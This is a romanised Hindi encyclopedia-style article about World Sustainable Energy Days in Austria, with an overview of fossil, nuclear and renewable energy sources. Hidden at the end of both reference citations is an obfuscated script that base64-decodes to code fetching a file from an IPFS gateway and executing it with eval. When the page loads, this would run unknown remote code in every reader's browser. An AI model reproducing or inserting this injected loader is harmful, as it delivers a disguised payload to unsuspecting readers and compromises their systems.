विश्व सतत ऊर्जा दिवस
vishv satat oorja divas
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| vivaran | vishv satat oorja divas ke avasar par oorja ki ghatanaoan par ek bahut b da varshik sammelan hota hai. |
| tithi | 25 faravari se 27 faravari tak (2015) |
| desh | aaustriya |
| uddeshy | sasti v satat oorja ke utpadan aur upayog par sajagata |
| sanbandhit lekh | vishv paryavaran divas |
| bahari k diyaan | adhikarik vebasait (vishv satat oorja divas) |
| adyatan | 19:14, 26 faravari 2015 (IST)
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vishv satat oorja divas (aangrezi:World Sustainable Energy Days) ke avasar par oorja ki ghatanaoan par ek bahut b da varshik sammelan hota hai. yah sammelan prativarsh aaustriya mean ayojit hota hai. varsh 2015 mean vishv satat oorja divas ka sammelan 25 faravari se 27 faravari tak prastavit hai.[1]
oorja suraksha aur vishv
sasti v satat oorja ki apoorti kisi bhi desh ki tarakki ke lie sabase jyada zaroori hai. paranparagat oorja ke srot sookhate ja rahe haian. isalie zaroori hai ki oorja ke ne srot vikasit kie jae jo paryavaran hitaishi bhi hoan. sasti aur satat oorja ki upalabdhata adhunik udyogoan aur sabhyata ki moolabhoot avashyakata hai. oorja adhunik sabhyata ka ianjan hai jise adhikaanshat: jivashm eeandhanoan se prapt kiya jata hai. pratidin poore vishv mean bhari matra mean oorja ki khapat hoti hai aur mukhy roop se yah oorja koyala, gais, petroliyam aur nyookliyar eeandhan se prapt hoti hai. pashchimi duniya mean audyogikikaran ki shuruat mean keval koyale ka hi prayog kiya jata tha. lekin 19vian shatabdi se manav sabhyata ki atmanirbharata koyale par se ghati aur petroliyam v gais ka prayog hone laga. tab se lagatar vikas ke ianjan ko jari rakhane ke lie manav ne jivashmiy eeandhanoan ka jamakar dohan kiya hai. ab sthiti brekiang pvaiant par pahuanch chuki hai aur duniya par oorja sankat ke badal mandara rahe haian. petroliyam aur gais ka itana jyada dohan hua hai ki unake bhandar teji se kam ho rahe haian. petroliyam v gais ke dohan se grinahaus gaisoan ka utsarjan hota hai jisaki vajah se hamari dharati ka astitv hi khatare mean dikhaee p d raha hai. ek anuman ke anusar, san 2030 tak oorja ki vaishvik maang vartaman ki tulana mean 50 se 60 phisadi tak badh jaegi. is samasya ka hal khojana behad zaroori hai. hamean aj oorja ke satat akshay srotoan ke vikas ki zaroorat hai jisamean haidrojan phyool seloan se lekar viand tarbain tak shamil haian jisase am jiandagi ka kamakaj sucharoo roop se chal sake.[2]
petroliyam ki badhati maang
bhap shakti par adharit audyogik kraanti ke poorv lak di jalakar adhikaansh oorja zarooratoan ki poorti kar li jati thi. isake bad koyala ek am eeandhan ban gaya. petroliyam aur prakritik gais ki upalabdhata ke bavajood duniya ki ek-chauthaee oorja avashyakataoan ki aj bhi poorti koyale ke dvara hi ki jati hai. lekin jab se petroliyam ka prayog aranbh hua hai tab se koyale ka prayog kam hota ja raha hai. oorja samathry ke drishtikon se koyale koee achchha vikalp nahian hai. paryavaran v svasthy ke lihaj se yah sabase jyada khataranak jivashmiy eeandhan hai, lekin prachur matra mean upalabdh hone ki vajah se aj bhi isaki maang hai. aj petroliyam se duniya ki 40 phisadi oorja avashyakataoan ki poorti hoti hai jisamean se aautomobail pramukh hai. isamean se bhi ek-chauthaee petroliyam ka upabhog akele sanyukt rajy amerika dvara kiya jata hai.
prakritik gais
prakritik gais petroliyam ka ek achchha vikalp sabit ho sakati hai lekin inake bhandar bhi 21vian shatabdi ke aant tak hi samapt ho jaeange. vartaman mean poori duniya ki ek-tihaee bijali ka utpadan prakritik gais ke dvara hi kiya jata hai. prakritik gais jo ki adhikaanshat: mithen hai, shayad sabase jyada saph-suthara jivashmiy eeandhan hai. yah koyale ki tulana mean matr 40 phisadi v petroliyam ki tulana mean matr 25 phisadi grinahaus gaisoan ka utsarjan hi karati hai. petrol ki tulana mean adhik paryavaran hitaishi eeandhan hone ki vajah se isaka prayog adhik se adhik aautomobail mean kaimpresd nechural gais athava haidrojan phyool seloan ko pavar karane ke lie kiya ja raha hai.
nyookliyar oorja
nyookliyar oorja ka prayog lagatar badh raha hai. vartaman mean duniya ke 32 deshoan ke 440 riektaroan ke dvara duniya ki 16 phisadi bijali ka utpadan kiya ja raha hai. paryavaran sangathanoan ke lagatar virodh ke bavajood, kee desh jaise japan, amerika aur bharat is takanik ka adhik se adhik prayog kar rahe haian. halaanki nyookliyar kachare ka nistaran karana apane ap mean ek bhari samasya hai.
akshay oorja vikalp
chiniyoan v romanoan ne vataramiloan ka prayog lagabhag 2000 varsh kiya tha. lekin pahale panabijali baandh ka nirman sarvapratham ianglaiand mean 1870 mean kiya gaya tha. panabijali vartaman samay mean punarnavikrit oorja ka sabase prachalit prakar hai jisase duniya ki lagabhag 20 phisadi bijali ka utpadan kiya jata hai. kam pradooshan paida karane vale punarnavikrit oorja srotoan ke dvara hi dirghavadhi mean oorja ki samasya ka vyavaharik hal khoja ja sakata hai.
saur oorja
soory oorja ka akshay srot hai. yadi thik se isaki oorja ka upayog karane ki takanik vikasit ho jae to hamari oorja samasya ka pukhta hal nikal sakata hai. aj saur oorja ka prayog kee tarike se kiya jata hai. ooshmiy saur oorja mean soory ki roshani se chhatoan par lage saur painaloan ke dvara ghareloo prayog ke lie sidhe pani ko garm kiya jata hai, jabaki soory ki roshani ko photovolteik seloan ke prayog se bijali mean parivartit kiya ja sakata hai. isamean semikandaktaroan ka prayog photanoan ko bijali mean parivartit karane mean kiya jata hai. vrihad star par prayog ke lie photovolteik sel kafi mahange hote haian, phir bhi door-daraj ke ilakoan mean bijali saplaee ke lie inaka prayog kafi jyada kiya jata hai. solar painaloan ka prayog ab spesakrapht, solar karoan aur havaee jahajoan mean bhi kiya jane laga hai.
aautomobail ke lie eeandhan
aantarik dahan ianjan ke avishkar ke samay se hi jaiv eeandhan ke bare mean duniya ko janakari hai. amerika mean petrol mean ithen aaul milaya jata hai aur duniya bhar mean karo doan karean ithen aaul mishrit petrol se chalati haian. yoorop mean jaiv eeandhan ka utpadan bejitebul ke prayog se kiya jata hai. soya tel ka prayog havaee jahajoan ko u dane mean kiya ja sakata hai. haidrojan eeandhan seloan mean bhavishy ki sanbhavanaean nihit haian yadi isake prayog mean ane vali takaniki pareshaniyoan ko door kar liya jae. phyool sel ek prakar ki baitari hote haian jinhean lagatar riphil kiya ja sakata hai. isamean haidrojan, aauksijan ke sath pratikriya karake bijali v jal ka utpadan karate haian. yah eeandhan jalane se kahian jyada paryavaran hitaishi tarika hai, kyoanki isamean ooshma ka ksharan kafi kam hota hai. lekin yah keval karoan ke lie hi upayogi nahian haian. haidrojan ka prayog pavar steshanoan aur ilektr aaunik aur portebul gajets mean bhi kiya ja sakata hai. chhote phyool sel ek din nishchit roop se baitariyoan ko bekar kar deange. phyool sel prakritik gais, mithen aaul aur koyale ka bhi prayog kar sakate haian. lekin inake sath ek samasya karban-daee-aauksaid ke utpadan ki hai. haidrojan bhi poori tarah se saph-suthara oorja vikalp nahian hai kyoanki isamean haidrojan ke utpadan ke lie jal ko apane avayavoan mean to da jata hai, jisake lie bijali ka upayog kiya jata hai. yah bijali jivashmiy eeandhan se hi paida ki jati hai. rekjavik, aisalaiand jaise shaharoan mean basean chalane ke lie haidrojan ka hi prayog kiya jata hai.
jvariy oorja
2003 mean narve mean jvariy oorja ko bijali mean badalane ke lie pratham k aaumarshiyal pavar steshan ki shuruat ki gee. isaka dijain viand mil ki tarah kiya gaya hai jabaki kee steshan aise haian jinaka nirman tarbainoan ke roop mean kiya gaya hai.
pavan oorja
akshay oorja srotoan mean sabase jyada bijali utpadan pavan oorja ke dvara hi kiya ja raha hai. adhunik viand pharmoan mean b de-b de tarbaeen hote haian jinase bijali utpadan kiya jata hai. yadyapi isase bijali utpadan karana kafi jyada kharchila hai, lekin vayu ki sarvasulabhata ko dekhate hue isaka adhik se adhik prayog kiya ja raha hai.
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tika tippani aur sandarbh
- ↑ World Sustainable Energy Days (aangrezi) Official Website of World Sustainable Energy Days. abhigaman tithi: 26 faravari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ oorja suraksha aur vishv ka bhavishy (hindi) jagaran josh. abhigaman tithi: 26 faravari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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